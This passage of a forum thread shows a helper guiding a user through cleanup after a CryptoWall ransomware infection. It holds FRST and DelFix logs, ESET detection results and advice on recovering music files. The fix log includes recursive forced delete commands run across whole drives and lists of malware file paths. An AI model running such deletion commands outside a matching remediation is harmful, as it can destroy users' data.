CMD: DEL /Q /F /S C:\HELP_DECRYPT.*
CMD: DEL /Q /F /S D:\HELP_DECRYPT.*
EMPTYTEMP:
DeleteQuarantine:
Reboot:
End

*****************

Processes closed successfully.
C:\ProgramData\JiglEduvj => Moved successfully.
"C:\Users\All Users\JiglEduvj" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\c45mmhGVYS[1].exe" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\co[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\d[1]" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\e53c449dc9b0421405372892[1].exe" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\e53c82c16437a51405627414[1].exe" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\IA6nhaGtsF[1].exe" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\ie8910[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[1].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[2].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[3].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[4].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[5].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[6].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\paper[1].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\paper[2].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\paper[3].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\paper[4].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8RA779V0\co[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\5c84b2e119f7faec6119b63fc1832181[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_71[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_71[3].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_71[4].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[2].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[3].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[4].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[5].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[6].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[7].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\d[1].txt" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\ie8910[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\logos[1].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\logos[2].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\logos[3].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\nhgi[1].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IILPQS17\6cdt8jC2fI[1].exe" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IILPQS17\co[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\KG99TI1Y\logos[1].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\KG99TI1Y\T0hYkHAEYK[1].exe" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QPZN6M51\oVx9hAn5Ja[1].exe" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\dd[1]" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\dd[2]" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\d[1].txt" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\F8zDlYv5Ds[1].exe" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\hidecounter2[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\ie8910[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\ie8910[2].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\ie8910[3].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\logos[1].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\logos[2].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\logos[3].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\nki451e7z1[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\rKU7Tfxgc8[1].exe" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\188_138_68_69[3].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_69[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_69[3].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_69[6].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_69[7].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_72[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_72[3].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_72[6].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\9ne5fa1np1[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\bc3fspxe0t[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\dd[1]" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\ie8910[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\ie8910[2].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\ktlypjs[1].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\logos[1].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\logos[2].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\logos[3].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\pagbkmumt9[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\zrkej[1].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\zrkej[2].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\zrkej[3].php" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XHEEILH6\01b0828fa489fd3d0f682d24ac050e89[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XHEEILH6\9SgYypAUMi[1].exe" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Temp\1438\AppData\Local\Microsoft\Windows\Tempor ary Internet Files\Content.IE5\SD9YSWFM\nHhy6.exe" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Temp\15a0\AppData\Local\Microsoft\Windows\Tempor ary Internet Files\Content.IE5\QTTZZ3LW\3820af3ab51554a877fb020c48fe8036[1].swf" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Temp\638c\AppData\Local\Microsoft\Windows\Tempor ary Internet Files\Content.IE5\AGFCFFHP\46cbccc9b10886a4e71551c67a986fb3[1].htm" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Temp\ac4\AppData\Local\Microsoft\Windows\Tempora ry Internet Files\Content.IE5\0YE78E0B\banner[1].swf" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Temp\4681.tmp" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Temp\9ED0.tmp" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Temp\ADB0.tmp" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Temp\DB42.tmp" => File/Directory not found.
"C:\Users\Tim\AppData\Local\Temp\E340.tmp" => File/Directory not found.
"C:\ProgramData\AswoDnix" => File/Directory not found.
"C:\ProgramData\IpsuVpak" => File/Directory not found.
"C:\ProgramData\OrbiBesd" => File/Directory not found.
"C:\ProgramData\IsruYacr" => File/Directory not found.
"C:\ProgramData\JiglEduvj" => File/Directory not found.
"C:\ProgramData\EbvuDogn" => File/Directory not found.
"C:\Users\Tim\AppData\Roaming\log.html" => File/Directory not found.
"C:\Users\Tim\AppData\Roaming\key.dat" => File/Directory not found.
"C:\Users\Tim\AppData\Roaming\key.dat" => File/Directory not found.
"C:\Users\Tim\AppData\Roaming\log.html" => File/Directory not found.

========= DEL /Q /F /S C:\HELP_DECRYPT.* =========

Could Not Find C:\HELP_DECRYPT.*

========= End of CMD: =========

========= DEL /Q /F /S D:\HELP_DECRYPT.* =========

Could Not Find D:\HELP_DECRYPT.*

========= End of CMD: =========

"C:\FRST\Quarantine" => Removed successfully.


----------



## timmy12342 (Mar 7, 2015)

This is the rest of the ESET scan log

C:\Users\All Users\JiglEduvj\NereWheq.lnk Win32/PSW.Papras.DU trojan 
C:\ProgramData\JiglEduvj\NereWheq.lnk Win32/PSW.Papras.DU trojan cleaned by deleting - quarantined
C:\Users\Tim\AppData\Local\Temp\1438\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SD9YSWFM\nHhy6.exe Win32/Adware.FakeAV.T application cleaned by deleting - quarantined
C:\Users\Tim\AppData\Local\Temp\15a0\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QTTZZ3LW\3820af3ab51554a877fb020c48fe8036[1].swf SWF/Exploit.CVE-2015-0311.I trojan cleaned by deleting - quarantined
C:\Users\Tim\AppData\Local\Temp\638c\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AGFCFFHP\46cbccc9b10886a4e71551c67a986fb3[1].htm JS/Exploit.Agent.NIX trojan cleaned by deleting - quarantined
C:\Users\Tim\AppData\Local\Temp\ac4\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0YE78E0B\banner[1].swf SWF/Iframe.P trojan cleaned by deleting - quarantined


----------



## JSntgRvr (Jul 1, 2003)

Any signs of Crypto Wall?


----------



## timmy12342 (Mar 7, 2015)

No cryptowall but pc is still running slowly. I still have 10 "Internet Explorer"s running in my processes when i open task manager. Also my windows media player and itunes won't run. Could we have deleted files that are required for those programs to work?


----------



## timmy12342 (Mar 7, 2015)

Ok i was mistaken. Windows media player will work but only if i put a CD in my computer. As far as music files i had on the computer none of them will play in media player. Are those files now ruined because of cryptowall? Even the ones that weren't "encrypted" won't work.


----------



## JSntgRvr (Jul 1, 2003)

Would *ListCWall.exe* list them? See if you can update the Media Player and iTunes. Any *Help_Decrypt* files present?


----------



## timmy12342 (Mar 7, 2015)

No decrypt files. All mp3 files on my computer will not play in any form of media player. WAV and WMA files work no problem along with MPEG and all the others. These files are extremely important, I have an extensive music collection. When i came back to my computer just now, there was a blue screen from an unexpected shut down error. Otherwise everything seems to be running ok


----------



## JSntgRvr (Jul 1, 2003)

All personal files are targeted, even on attached drives. You can read *here* about the infection. You can try Shadow Explorer to attempt recover the shadow copy of the file, if not deleted by the virus.

If the infection re-spawn, you may need to format your hard drive completely, and recover using the Manufacturer's Recover CDs.


----------



## timmy12342 (Mar 7, 2015)

I had a feeling about a week ago that i should have just saved all my important files and reinstalled the operating system completely. If that's all then i really appreciate your help. It's really great what you guys do here on this website. By the way should i run the delfix program now? Also any info you have on shadow explorer would be great.


----------



## JSntgRvr (Jul 1, 2003)

Yes. Run Delfix now.


----------



## timmy12342 (Mar 7, 2015)

I still don't understand why there is 10 internet explorers running in the background at all times. My computer runs so much slower because of it


----------



## timmy12342 (Mar 7, 2015)

# DelFix v10.8 - Logfile created 14/03/2015 at 15:05:56
# Updated 29/07/2014 by Xplode
# Username : Tim - TIM-PC
# Operating System : Windows 7 Ultimate (32 bits)

~ Removing disinfection tools ...

Deleted : C:\FRST
Deleted : C:\AdwCleaner
Deleted : C:\Users\Tim\Downloads\FRST-OlderVersion
Deleted : C:\Users\Tim\Desktop\JRT.txt
Deleted : C:\Users\Tim\Downloads\Addition.txt
Deleted : C:\Users\Tim\Downloads\adwcleaner_4.111.exe
Deleted : C:\Users\Tim\Downloads\esetsmartinstaller_enu.exe
Deleted : C:\Users\Tim\Downloads\Fixlog.txt
Deleted : C:\Users\Tim\Downloads\FRST.exe
Deleted : C:\Users\Tim\Downloads\FRST.txt
Deleted : C:\Users\Tim\Downloads\JRT.exe
Deleted : C:\Users\Tim\Downloads\Search.txt
Deleted : C:\Users\Tim\Downloads\Shortcut.txt
Deleted : HKLM\SOFTWARE\AdwCleaner

~ Creating registry backup ... OK

~ Cleaning system restore ...

Deleted : RP #117 [Scheduled Checkpoint | 03/13/2015 08:54:25]

New restore point created !

########## - EOF - ##########


----------



## JSntgRvr (Jul 1, 2003)

It may be due to addons.

Open Internet Explorer, select Tools, then Manage Addons. Set all to disable and restart IE. See if the number of IE running diminish.


----------



## JSntgRvr (Jul 1, 2003)

Take a look *Here*.


----------

